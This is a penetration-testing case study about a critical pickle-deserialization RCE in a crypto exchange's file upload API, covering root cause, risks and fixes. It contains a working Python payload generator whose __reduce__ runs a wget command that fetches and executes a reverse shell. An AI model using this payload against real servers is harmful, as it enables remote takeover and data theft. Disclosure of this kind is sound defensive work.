03 Jun, 2025

Remote Code Execution via Unsafe File Upload

Service:                Web Application Pentest

Industry:              Crypto Exchange

Region:                 Spain


Background

A security audit of a crypto exchange revealed a critical vulnerability in its backend infrastructure. Although the primary focus was on the on-chain smart contracts, auditors discovered a severe flaw in the file upload API. The vulnerability was rated Severity: Critical with a CVSS base score of 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). This case highlights how flaws in off‑chain services can undermine a project’s security, even if the smart contracts themselves are bug‑free.

Severity: Critical 
CVSS Score: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) 
Affected Module: File Upload API 
Exploit Complexity: Low 

Discovery — Reproducing Remote Code Execution

The audit began by inspecting the file upload API responsible for handling user documents. By analyzing server-side behavior and source code, we discovered that uploaded files were read and passed directly into cPickle.loads(). 

Exploit POC:

				
					#!/usr/bin/python 
# Pickle deserialization RCE payload. 
# To be invoked with command to execute at it's first parameter. 
# Otherwise, the default one will be used. 
import cPickle 
import sys 
import base64 
class PickleRce(object): 
  def __reduce__(self): 
      import os 
      import urllib2 
      cmd = 'wget [link to reverse tcp]; ./reverse_tcp' 
      return (os.system,( cmd, )) 
#cPickle.loads(cPickle.dumps(PickleRce())) 
open('payload', 'wb+').write(cPickle.dumps(PickleRce())) 
 
				
			

Upload Test Flow:

  1. Crafted a malicious object in Python with a custom __reduce__ method. 
  2. Serialized it using cPickle.dumps() and saved the result to a binary payload. 
  3. Uploaded the binary payload via the platform’s file upload endpoint. 
  4. The backend deserialized the data using cPickle.loads() without validation. 
  5. This led to command execution on the server, confirming RCE. 

Technical Root Cause

The root cause was trusting Python’s insecure pickle format. The pickle (and cPickle) module is inherently unsafe: the Python documentation warns that itis not secureand that unpickling malicious data can execute arbitrary code. In particular, pickle uses an object’s __reduce__ protocol to reconstruct objects, which means a pickle can encode calls to any callable. An attacker can define a class whose __reduce__ returns something like (subprocess.Popen, (cmd,)), causing the unpickler to invoke that call. In this case, the malicious pickle’s __reduce__ returned a subprocess (or os.system) invocation, injecting a shell command into the deserialization process. Because the application did no validation on the uploaded data, this allowed arbitrary code execution on the server.

Real-World Risks

Exploiting this flaw could let attackers completely compromise the system, for example: 

  • A. Remote Shell Access: The attacker gains arbitrary command execution on the server (a full remote shell). 
  •  
  • B. Lateral Movement in Infrastructure: From the compromised host, an attacker can pivot to other internal systems and escalate privileges. 
  •  
  • C. Data Theft and Server Control: Sensitive files, databases or secrets on the server (logs, configs, user data) can be stolen or tampered with, effectively giving the attacker full server control. 
  •  
  • D. Private Key Exposure (if present on the server): For example, if deployment scripts or backups contain wallet credentials, these could be extracted. 

Recommendations

  • Use Safe Serialization: Do not use cPickle (or pickle) on untrusted input. Instead, use safe formats such as JSON or protobufs for data interchange, which do not allow code execution. 
 
  • Validate and Sanitize Inputs: Rigorously check uploaded files and API inputs. Enforce strict file type checks, content validation, and size limits. As industry experts note, never blindly trust incoming data – always sanitize and verify any payload from untrusted sources. 
 
  • Isolate the Upload Handler: Run file processing in a restricted environment (e.g. a separate container or with minimal permissions) so that if an exploit occurs, its impact is contained. Apply the principle of least privilege to the upload service to limit potential damage. 

Conclusion

This incident underscores that off‑chain logic can be just as critical as on‑chain code. The industry’s heavy focus on smart contracts canhide a deeper, more pervasive threatin neglected Web2 components. In fact, experts warn that a “single weaknessin off-chain infrastructure can cause irreversible damage to the blockchain ecosystem. Robust auditing must include backend services, APIs and serialization routinesnot just the blockchain codeto ensure overall system security. 

All identifiers, domains, and user data in this case study have been anonymized to preserve client confidentiality. 

Other Services

Ready to secure?

Let's get in touch